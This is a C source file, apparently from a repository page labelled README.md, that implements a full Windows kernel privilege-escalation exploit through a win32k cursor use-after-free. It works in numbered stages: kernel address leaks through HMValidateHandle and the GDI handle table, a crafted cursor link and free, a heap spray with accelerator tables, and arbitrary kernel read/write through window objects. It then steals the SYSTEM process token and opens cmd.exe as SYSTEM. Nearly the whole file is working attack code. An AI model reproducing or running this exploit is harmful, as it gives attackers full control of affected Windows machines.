README.md
Rendering markdown...
#include <stdio.h>
#include <windows.h>
#include <tchar.h>
#include <strsafe.h>
#include <winternl.h>
#include <wingdi.h>
#include <Psapi.h>
#pragma comment(lib, "psapi.lib")
#pragma comment(lib,"user32.lib")
#pragma comment(lib,"Gdi32.lib")
#pragma comment(lib, "ntdll.lib")
typedef enum { L_DEBUG, L_INFO, L_WARN, L_ERROR } LEVEL, *PLEVEL;
#define MAX_LOG_MESSAGE 1024
typedef struct _LARGE_UNICODE_STRING
{
ULONG Length; // 000
ULONG MaximumLength:31; // 004
ULONG bAnsi:1; // 004
PWSTR Buffer; // 008
} LARGE_UNICODE_STRING ,*PLARGE_UNICODE_STRING;
typedef struct tagWND{
DWORD HANDLE;
DWORD Type;
DWORD revered1;
DWORD revered2;
DWORD self;
DWORD revered3;
DWORD reverse4;
DWORD style;
DWORD WndStyle;
DWORD reverse5;
} WND,*PWND;
typedef struct tagCURSORDATA
{
int field_0;
int field_4;
int rt;
int CURSORF_flags;
int bpp;
HBITMAP hbmMask;
HBITMAP hmbColor;
int linkFlag;
int field_20;
int field_24;
int field_28;
int field_2C;
int field_30;
int field_34;
int field_38;
int field_3C;
int cpcur;
int cicur;
HCURSOR* aspcur;
int aicur;
DWORD ajifRate;
int field_54;
}CURSORDATA, *PCURSORDATA;
typedef struct tagCursor{
DWORD field_0;
DWORD field_4;
DWORD field_8;
DWORD process;
DWORD field_10;
DWORD nextCursor;
DWORD dpiHead;;
DWORD field_1C;
DWORD field_20;
DWORD field_24;
DWORD field_28;
DWORD flag;
} CURSOR,* pCURSOR;
#ifdef _WIN64
typedef void*(NTAPI *lHMValidateHandle)(HWND h, int type);
#else
typedef void*(__fastcall *lHMValidateHandle)(HWND h, int type);
#endif
typedef struct _PEBB {
#ifdef _WIN64
UCHAR ignored[0xf8];
#else
UCHAR ignored[0x94];
#endif
PVOID GdiSharedHandleTable;
} PEBB, *PPEBB;
typedef struct _GDICELLL
{
PVOID pKernelAddress;
USHORT wProcessId;
USHORT wCount;
USHORT wUpper;
USHORT wType;
PVOID pUserAddress;
} GDICELLL, *PGDICELLL;
typedef struct _PROCESS_BASIC_INFORMATIONN {
NTSTATUS ExitStatus;
PVOID PebBaseAddress;
ULONG_PTR AffinityMask;
LONG BasePriority;
HANDLE UniqueProcessId;
HANDLE InheritedFromUniqueProcessId;
} PROCESS_BASIC_INFORMATIONN, *PPROCESS_BASIC_INFORMATIONN;
typedef enum _PROCESSINFOCLASSS {
SystemProcessBasicInformation = 0
} PROCESSINFOCLASSS;
typedef NTSTATUS(WINAPI *PNtQueryInformationProcess)(
_In_ HANDLE ProcessHandle,
_In_ PROCESSINFOCLASSS ProcessInformationClass,
_Out_ PVOID ProcessInformation,
_In_ ULONG ProcessInformationLength,
_Out_opt_ PULONG ReturnLength
);
typedef void *(NTAPI *NTUSERCALLONEPARAM)
(
IN ULONG Param,
IN ULONG Routine
);
typedef void *(NTAPI*NTUSERSETCURSORICONDATA)
(
IN HCURSOR ,
IN PUNICODE_STRING ,
IN PUNICODE_STRING ,
IN PCURSORDATA
);
typedef void *( NTAPI* NTUSERDESTROYCURSOR)
(
HCURSOR,
DWORD
);
typedef void *(NTAPI * NTUSERLINKDPICURSOR)
(
HCURSOR,
HCURSOR,
DWORD
);
typedef void * (NTAPI *NTUSERDEFSETTEXT)
(
HWND,
PLARGE_UNICODE_STRING
);
typedef void * (NTAPI *NTRTLINITLARGEUNICODESTRING)
(
PLARGE_UNICODE_STRING ,
char *,
int,
int
);
typedef DWORD (NTAPI *NTUserGetAncestor)
(
LONG,
LONG
);
char * createBuffer(int length){
char * res= (char*) malloc(length);
int i=0;
for (i=0;i<length;++i){
res[i]=(char)i;
}
return res;
}
#ifndef HEXDUMP_COLS
#define HEXDUMP_COLS 16
#endif
void hexdump(void *mem, unsigned int len)
{
unsigned int i, j;
for(i = 0; i < len + ((len % HEXDUMP_COLS) ? (HEXDUMP_COLS - len % HEXDUMP_COLS) : 0); i++)
{
/* print offset */
if(i % HEXDUMP_COLS == 0)
{
printf("0x%06x: ", i);
}
/* print hex data */
if(i < len)
{
printf("%02x ", 0xFF & ((char*)mem)[i]);
}
else /* end of block, just aligning for ASCII dump */
{
printf(" ");
}
/* print ASCII dump */
if(i % HEXDUMP_COLS == (HEXDUMP_COLS - 1))
{
for(j = i - (HEXDUMP_COLS - 1); j <= i; j++)
{
if(j >= len) /* end of block, not really printing */
{
putchar(' ');
}
else if(isprint(((char*)mem)[j])) /* printable char */
{
putchar(0xFF & ((char*)mem)[j]);
}
else /* other char */
{
putchar('.');
}
}
putchar('\n');
}
}
}
BOOL LogMessage(LEVEL Level, LPCTSTR Format, ...)
{
TCHAR Buffer[MAX_LOG_MESSAGE] = { 0 };
va_list Args;
va_start(Args, Format);
StringCchVPrintf(Buffer, MAX_LOG_MESSAGE, Format, Args);
va_end(Args);
switch (Level) {
case L_DEBUG: _ftprintf(stdout, TEXT("[?] %s\n"), Buffer); break;
case L_INFO: _ftprintf(stdout, TEXT("[+] %s\n"), Buffer); break;
case L_WARN: _ftprintf(stderr, TEXT("[*] %s\n"), Buffer); break;
case L_ERROR: _ftprintf(stderr, TEXT("[!] %s\n"), Buffer); break;
}
fflush(stdout);
fflush(stderr);
return TRUE;
}
int LEAK(HANDLE hbm) {
DWORD pid=GetCurrentProcessId();
HMODULE ntdll = GetModuleHandle(TEXT("ntdll"));
PNtQueryInformationProcess query = (PNtQueryInformationProcess)GetProcAddress(ntdll, "NtQueryInformationProcess");
if (query == NULL) {
LogMessage(L_INFO,"GetProcAddress() failed.\n");
return 1;
}
LoadLibraryA("gdi32.dll");
ULONG dwReturned = 0;
PROCESS_BASIC_INFORMATIONN processBasicInfo = { 0x0 };
NTSTATUS status = query(GetCurrentProcess(), SystemProcessBasicInformation, &processBasicInfo, sizeof(PROCESS_BASIC_INFORMATIONN), &dwReturned);
PPEBB peb = (PPEBB)HeapAlloc(GetProcessHeap(), 0, sizeof(PEBB));
ReadProcessMemory(GetCurrentProcess(), processBasicInfo.PebBaseAddress, peb, sizeof(PEBB), NULL);
DWORD count = 0x8fff;
PGDICELLL gdiTable = (PGDICELLL)HeapAlloc(GetProcessHeap(), 0, sizeof(GDICELLL) * count);
ReadProcessMemory(GetCurrentProcess(), peb->GdiSharedHandleTable, gdiTable, sizeof(GDICELLL) * count, NULL);
for (unsigned int i = 0; i < count; i++) {
GDICELLL cell = gdiTable[i];
if (cell.pKernelAddress == (void *)0xCDCDCDCD) {
break;
}
if (cell.pKernelAddress == 0x00000000) {
continue;
}
if (cell.wProcessId!=pid){
continue;
}
HANDLE gdiHandle = (HANDLE)((cell.wUpper << 16) + i);
if ((HBITMAP)gdiHandle!=hbm){
continue;
}
return (int)cell.pKernelAddress;
#ifdef _WIN64
LogMessage(L_INFO,"Kernel address: 0x%llx, GDI Handle: 0x%llx, Process ID: %d\r\n", cell.pKernelAddress, gdiHandle, cell.wProcessId);
#else
LogMessage(L_INFO,"Kernel address: 0x%X, GDI Handle: 0x%X, Process ID: %d\r\n", cell.pKernelAddress, gdiHandle, cell.wProcessId);
#endif
}
return 0;
}
typedef struct _wndPair {
unsigned int addr;
HWND handle;
}wndPair;
int compare(const void *a ,const void *b){
wndPair * pair1=(wndPair *) a;
wndPair * pair2=(wndPair *) b;
return pair1->addr-pair2->addr;
}
typedef struct _BITMAPPair {
unsigned int addr;
HBITMAP handle;
}bitmapPair;
int comparePallette(const void *a ,const void *b){
bitmapPair * pair1=(bitmapPair *) a;
bitmapPair * pair2=(bitmapPair *) b;
return pair1->addr-pair2->addr;
}
///////////////////////////////////////////////////////////////////////
///////////////////////EXPLOIT START///////////////////////////////////
///////////////////////////////////////////////////////////////////////
HCURSOR hCur1;
HCURSOR hCur2;
HBITMAP hbm1;
HBITMAP hbm2;
UNICODE_STRING uniModName;
NTUSERSETCURSORICONDATA NtUserSetCursorIconData;
NTUSERCALLONEPARAM NtUserCallOneParam;
NTUSERDESTROYCURSOR NtUserDestroyCursor ;
NTUSERLINKDPICURSOR NtUserLinkDpiCursor ;
NTUSERDEFSETTEXT NtUserDefSetText;
NTRTLINITLARGEUNICODESTRING RtlInitLargeUnicodeString;
NTUserGetAncestor NtUserGetAncestor;
HMODULE user32;
PCURSORDATA CurData;
char * atbuff;
char * bmbuff;
CONST LONG maxTimes = 0x200;
CONST LONG tmpTimes = 0x2000;
static bitmapPair hbitmaps[maxTimes] = { NULL };
static HCURSOR hcursors[maxTimes] ={NULL};
static HWND hwnds[maxTimes]={NULL};
//RECT rc = { 0x253,0xa,0x524,0x28a };
//HWND hwnd = ExCreateWindow(0, TEXT("Fuck"), 0x80188, 0xc2ff0000, &rc);
HWND ExCreateWindow(DWORD dwCSStyle, LPCTSTR lpszWndName,
DWORD dwWndStyleEx, DWORD dwStyle, LPRECT lprc,DWORD cbwndExtra) {
HWND Hwnd = NULL;
WNDCLASSEX wndClass = { 0 };
wndClass.cbSize = sizeof(wndClass);
wndClass.lpszClassName = lpszWndName;
wndClass.cbWndExtra=cbwndExtra;
wndClass.style = dwCSStyle;
wndClass.lpfnWndProc = DefWindowProc;
wndClass.hInstance = GetModuleHandle(NULL);
RegisterClassEx(&wndClass);
Hwnd = CreateWindowEx(dwWndStyleEx, lpszWndName, lpszWndName,
dwStyle, lprc->left, lprc->top, lprc->right-lprc->left, lprc->bottom-lprc->top, NULL,NULL, NULL, NULL);
SetWindowRgn(Hwnd,CreateRectRgn(0,0,0,0),0);
return Hwnd;
}
//////////////////////////////////////////LEAK WND ////////////////////////////
lHMValidateHandle pHmValidateHandle = NULL;
typedef struct _HEAD
{
HANDLE h;
DWORD cLockObj;
} HEAD, *PHEAD;
typedef struct _THROBJHEAD
{
HEAD h;
PVOID pti;
} THROBJHEAD, *PTHROBJHEAD;
//
typedef struct _THRDESKHEAD
{
THROBJHEAD h;
PVOID rpdesk;
PVOID pSelf; // points to the kernel mode address
} THRDESKHEAD, *PTHRDESKHEAD;
BOOL FindHMValidateHandle() {
HMODULE hUser32 = LoadLibraryA("user32.dll");
if (hUser32 == NULL) {
printf("Failed to load user32");
return FALSE;
}
BYTE* pIsMenu = (BYTE *)GetProcAddress(hUser32, "IsMenu");
if (pIsMenu == NULL) {
printf("Failed to find location of exported function 'IsMenu' within user32.dll\n");
return FALSE;
}
unsigned int uiHMValidateHandleOffset = 0;
for (unsigned int i = 0; i < 0x1000; i++) {
BYTE* test = pIsMenu + i;
if (*test == 0xE8) {
uiHMValidateHandleOffset = i + 1;
break;
}
}
if (uiHMValidateHandleOffset == 0) {
printf("Failed to find offset of HMValidateHandle from location of 'IsMenu'\n");
return FALSE;
}
unsigned int addr = *(unsigned int *)(pIsMenu + uiHMValidateHandleOffset);
unsigned int offset = ((unsigned int)pIsMenu - (unsigned int)hUser32) + addr;
//The +11 is to skip the padding bytes as on Windows 10 these aren't nops
pHmValidateHandle = (lHMValidateHandle)((ULONG_PTR)hUser32 + offset + 15);
return TRUE;
}
////////////////////////////////LEAK WND////////////////////////////
static wndPair wndarrays[maxTimes] = { NULL };
static
BOOL xxCreateWindows()
{
BOOL bReturn = FALSE;
// 0x64*4+0x58+8=0x1f0
RECT rc = { 0x253,0xa,0x524,0x28a };
for (LONG i = 0; i < maxTimes; i++)
{
wndarrays[i].handle = ExCreateWindow(0, TEXT("Fuck"), 0x80188, 0xc2ff0000, &rc,0);
PTHRDESKHEAD tagWND = (PTHRDESKHEAD)pHmValidateHandle(wndarrays[i].handle, 1);
wndarrays[i].addr=(unsigned int)tagWND->pSelf;
//LogMessage(L_INFO,"Kernel memory address: 0x%x, tagTHREAD memory address: 0x%x\n", tagWND->pSelf, tagWND->h.pti);
if (wndarrays[i].handle == NULL)
{
bReturn = FALSE;
break;
}
bReturn = TRUE;
}
return bReturn;
}
int pick;
int pickP;
void Stage0(){
RtlInitUnicodeString(&uniModName, L"user32");
BOOL bFound = FindHMValidateHandle();
if (!bFound) {
printf("Failed to locate HmValidateHandle, exiting\n");
exit(1);
}
user32 = LoadLibraryA("user32.dll");
NtUserSetCursorIconData =(NTUSERSETCURSORICONDATA ) (0x3A970 +(long)user32);
NtUserCallOneParam=(NTUSERCALLONEPARAM )(0x38A40 +(long)user32);
NtUserDestroyCursor = (NTUSERDESTROYCURSOR )(0x38DD0+(long)user32);
NtUserLinkDpiCursor = (NTUSERLINKDPICURSOR )(0x3E6B0+(long)user32);
NtUserDefSetText = (NTUSERDEFSETTEXT)(0x38660+(long)user32);
NtUserGetAncestor =(NTUserGetAncestor)(0x396D0+(long)user32);
RtlInitLargeUnicodeString=(NTRTLINITLARGEUNICODESTRING)(0xF3F4 +(long)user32);
LogMessage(L_INFO,TEXT("PID: %x"),GetCurrentProcessId());
LogMessage(L_INFO, TEXT("user32=0x%p"), user32);
LogMessage(L_INFO, TEXT("HMValidateHandle=0x%p"),pHmValidateHandle );
LogMessage(L_INFO, TEXT("NtUserSetCursorIconData=0x%p"), NtUserSetCursorIconData);
LogMessage(L_INFO, TEXT("NtUserCallOneParam=0x%p"), NtUserCallOneParam);
LogMessage(L_INFO, TEXT("NtUserDestroyCursor=0x%p"), NtUserDestroyCursor);
LogMessage(L_INFO, TEXT("NtUserLinkDpiCursor=0x%p"), NtUserLinkDpiCursor);
LogMessage(L_INFO, TEXT("NtUserDefSetText=0x%p"), NtUserDefSetText);
LogMessage(L_INFO, TEXT("RtlInitLargeUnicodeString=0x%p"), RtlInitLargeUnicodeString);
}
void Stage1(){
xxCreateWindows();
qsort(wndarrays,maxTimes,sizeof(wndPair),compare);
DWORD min=0xFFFFFFF;
int i;
for(i=0;i<maxTimes;++i){
//LogMessage(L_INFO,TEXT("Pallete[%d] = 0x%x"),i,palette[i].addr);
if (wndarrays[i].addr-wndarrays[i-1].addr<min){
pick=i;
min=wndarrays[i].addr-wndarrays[i-1].addr;
}
}
LogMessage(L_INFO,TEXT("Pick HWND (%u) 0x%x and HWND (%u) 0x%x"),wndarrays[pick].handle,wndarrays[pick].addr,wndarrays[pick-1].handle,wndarrays[pick-1].addr);
for(i=0;i<0x100;++i){
hbitmaps[i].handle=CreateBitmap(0x1,0x1,1,8,NULL);
hbitmaps[i].addr=LEAK(hbitmaps[i].handle);
}
qsort(hbitmaps,0x100,4,comparePallette);
for(i=0;i<0x100;++i){
//LogMessage(L_INFO,TEXT("ArrayBitmap[%d] = 0x%x"),i,hbitmaps[i].addr);
if (hbitmaps[i].addr-hbitmaps[i-1].addr<min){
pickP=i;
min=hbitmaps[i].addr-hbitmaps[i-1].addr;
}
}
LogMessage(L_INFO,TEXT("Pick HBITMAP 0x%x and HBITMAP 0x%x"),hbitmaps[pickP].addr,hbitmaps[pickP-1].addr);
}
/*
Prepare cursor
*/
void Stage2(){
int i;
for (i=0;i<maxTimes/2;++i){
hcursors[i]=(HCURSOR) NtUserCallOneParam(0,0x2b);
}
hCur1= (HCURSOR) NtUserCallOneParam(0,0x2b);
hCur2= (HCURSOR) NtUserCallOneParam(0,0x2b);
for (i=maxTimes/2;i<maxTimes;++i){
hcursors[i]=(HCURSOR) NtUserCallOneParam(0,0x2b);
}
LogMessage(L_INFO, TEXT("hc1=0x%p"), hCur1);
LogMessage(L_INFO, TEXT("hc2=0x%p"), hCur2);
HBITMAP hbm1= (HBITMAP) CreateBitmap(0x12,0x3d,1,32,NULL);
HBITMAP hbm2= (HBITMAP) CreateBitmap(0x62,0x40,1,32,NULL);
LogMessage(L_INFO, TEXT("hbm1=0x%p"), hbm1);
LogMessage(L_INFO, TEXT("hbm2=0x%p"), hbm2);
CurData=(PCURSORDATA ) malloc(sizeof(tagCURSORDATA));
ZeroMemory(CurData,sizeof(tagCURSORDATA));
HBITMAP hbm=CreateBitmap(0x12,0x34,1,32,NULL);
LogMessage(L_INFO,TEXT("HBITMAP()=0x%x"),LEAK(hbm));
CurData->hbmMask=hbm;
CurData->CURSORF_flags=0x6530dec6 ;
CurData->hmbColor=hbm;
CurData->cpcur=4;
CurData->hmbColor=hbm2;
CurData->hbmMask=hbm1;
CurData->ajifRate=CurData->cpcur*4;
CurData->aicur=CurData->ajifRate;
CurData->cicur=0;
CurData->aicur=CurData->ajifRate;
int * cData=(int*) CurData;
cData[0xE]=1;
cData[0xF]=1;
}
/*
Trigger condition
*/
void Stage3(){
NtUserSetCursorIconData(hCur2, &uniModName, &uniModName,(PCURSORDATA) CurData);
NtUserLinkDpiCursor(hCur1,hCur2,0x20);
NtUserSetCursorIconData(hCur2, &uniModName, &uniModName,(PCURSORDATA) CurData);
}
/*
Make Hole
*/
HWND hwnd;
void Stage4(){
int i;
for (i=0;i<maxTimes;++i){
NtUserDestroyCursor(hcursors[i],0);
}
NtUserDestroyCursor(hCur2,0);
}
/*
Heap spray
*/
void Stage5(){
int i;
char* buf= (char* )malloc(0x100);
memcpy(buf,"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00",0x100);
pCURSOR tagCursor=(pCURSOR)(buf-0x10);
tagCursor->nextCursor=(DWORD)wndarrays[pick-1].addr+0x90-0x18;
for(i=1;i<maxTimes*2;++i){
CreateAcceleratorTable((LPACCEL)buf,13);
}
free(buf);
}
void Stage6(){
NtUserDestroyCursor(hCur1,0);
}
DWORD oldSize;
DWORD oldMaxSize;
DWORD oldAddr;
void writeDWORD(DWORD addr,DWORD value){
char * input = (char*)malloc(4);
memset(input,0,4);
memcpy(input,&value,4);
LARGE_UNICODE_STRING uStr;
uStr.Length = 2;
uStr.MaximumLength =-1;
uStr.Buffer=(PWSTR)input;
uStr.bAnsi=FALSE;
int idx=wndarrays[pick].addr+35*4-0xE0-wndarrays[pick-1].addr;
DWORD old=SetWindowLongPtr(wndarrays[pick-1].handle,idx,addr);
NtUserDefSetText(wndarrays[pick].handle,&uStr);
SetWindowLongPtr(wndarrays[pick-1].handle,idx,old);
free(input);
}
DWORD readDWORD(DWORD addr){
int output=0;
int idx=wndarrays[pick].addr+13*4-0xE0-wndarrays[pick-1].addr;
DWORD old=SetWindowLongPtr(wndarrays[pick-1].handle,idx,addr);
DWORD res=NtUserGetAncestor((long)wndarrays[pick].handle,(long)1);
SetWindowLongPtr(wndarrays[pick-1].handle,idx,old);
return res;
}
void Stage7(){
int old=readDWORD(wndarrays[6].addr);
LogMessage(L_INFO,"LEAK %d",old);
writeDWORD(wndarrays[6].addr,0xDEADBEEF);
int leak =readDWORD(wndarrays[6].addr);
LogMessage(L_INFO,"LEAK %x",leak);
if(leak==0xDEADBEEF){
LogMessage(L_INFO,"GOT AAW");
writeDWORD(wndarrays[6].addr,old);
} else{
LogMessage(L_ERROR,"AAW FAILED");
exit(0);
}
}
void Stage8(){
ULONG len;
NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)0x0B, NULL, 0, &len);
DWORD * moduleInfo = NULL;
moduleInfo =(DWORD *) VirtualAlloc(NULL, len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (!moduleInfo) return;
NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)0x0B, moduleInfo, len, &len);
DWORD kernelBase=moduleInfo[3];
char * kernelImagePath=(char*)&moduleInfo[8];
LogMessage(L_INFO,"KernelBase: 0x%x",kernelBase);
LogMessage(L_INFO,"KernelImageName: %s",kernelImagePath);
HMODULE hUserSpacekernel = LoadLibraryExA("ntoskrnl.exe", 0, 0);
if (hUserSpacekernel == NULL)
{
VirtualFree(moduleInfo, 0, MEM_RELEASE);
LogMessage(L_INFO,"LoadLibrary kernelImagePath FAILED");
return ;
}
FARPROC pUserKernelSymbol = GetProcAddress(hUserSpacekernel, "PsInitialSystemProcess");
if (pUserKernelSymbol == NULL)
{
VirtualFree(moduleInfo, 0, MEM_RELEASE);
LogMessage(L_INFO,"Get PsInitialSystemProcess Failed");
return ;
}
FARPROC pLiveFunctionAddress = (FARPROC)((PUCHAR)pUserKernelSymbol - (PUCHAR)hUserSpacekernel + (PUCHAR)kernelBase);
FreeLibrary(hUserSpacekernel);
VirtualFree(moduleInfo, 0, MEM_RELEASE);
DWORD sysEPROCESS=readDWORD((DWORD)pLiveFunctionAddress);
LogMessage(L_INFO,"System Process Info Address : 0x%x",sysEPROCESS);
LogMessage(L_INFO,"System Process ID %d",readDWORD(sysEPROCESS+0x0b4));
LogMessage(L_INFO,"System Process Token 0x%x",readDWORD(sysEPROCESS+0x0f4));
LogMessage(L_INFO,"ActiveProcessLinks 0x%x",readDWORD(sysEPROCESS+0x0b8));
DWORD currentPID=GetCurrentProcessId();
DWORD currentEPROCESS=sysEPROCESS;
int pid=readDWORD(currentEPROCESS+0x0b4);
while(true){
DWORD flink=readDWORD(currentEPROCESS+0x0b8);//ActiveProcessLinks->Flink
currentEPROCESS =flink-0xB8;
int pid=readDWORD(currentEPROCESS+0x0b4);
LogMessage(L_INFO,"Next: 0x%x",flink);
LogMessage(L_INFO,"Current EPROCESS: 0x%x",currentEPROCESS);
LogMessage(L_INFO,"Current Process ID %d",pid);
if (pid==currentPID){
writeDWORD(currentEPROCESS+0x0f4,readDWORD(sysEPROCESS+0x0f4));//Write TOKEN
break;
}
}
}
void Stage9(){
STARTUPINFO si;
PROCESS_INFORMATION pi;
ZeroMemory( &si, sizeof(si) );
si.cb = sizeof(si);
ZeroMemory( &pi, sizeof(pi) );
// Start the child process.
if( !CreateProcess( NULL, // No module name (use command line)
"cmd.exe", // Command line
NULL, // Process handle not inheritable
NULL, // Thread handle not inheritable
FALSE, // Set handle inheritance to FALSE
0, // No creation flags
NULL, // Use parent's environment block
NULL, // Use parent's starting directory
&si, // Pointer to STARTUPINFO structure
&pi ) // Pointer to PROCESS_INFORMATION structure
)
{
LogMessage(L_INFO,"Create Process Failed!!!");
return;
}
// Wait until child process exits.
WaitForSingleObject( pi.hProcess, INFINITE );
// Close process and thread handles.
CloseHandle( pi.hProcess );
CloseHandle( pi.hThread );
}
void main()
{
LogMessage(L_INFO,TEXT("Stage 0: Initialization"));
Stage0();
LogMessage(L_INFO,TEXT("Stage 1: Prepare WNDs"));
Stage1();
LogMessage(L_INFO,TEXT("Stage 2: Create Cursor Object"));
Stage2();
LogMessage(L_INFO,TEXT("Stage 3: Link Cursor"));
Stage3();
LogMessage(L_INFO,TEXT("Stage 4: Make hole!"));
Stage4();
LogMessage(L_INFO,TEXT("Stage 5: Heap Spray"));
Stage5();
LogMessage(L_INFO,TEXT("Stage 6: Trigger"));
Stage6();
LogMessage(L_INFO,TEXT("Stage 7: GOT Full RW"));
Stage7();
LogMessage(L_INFO,TEXT("Stage 8: PrivilegeElevation"));
Stage8();
LogMessage(L_INFO,TEXT("Stage 9: Fork CMD"));
Stage9();
LogMessage(L_INFO,TEXT("GetLastError()=0x%x"),GetLastError());
}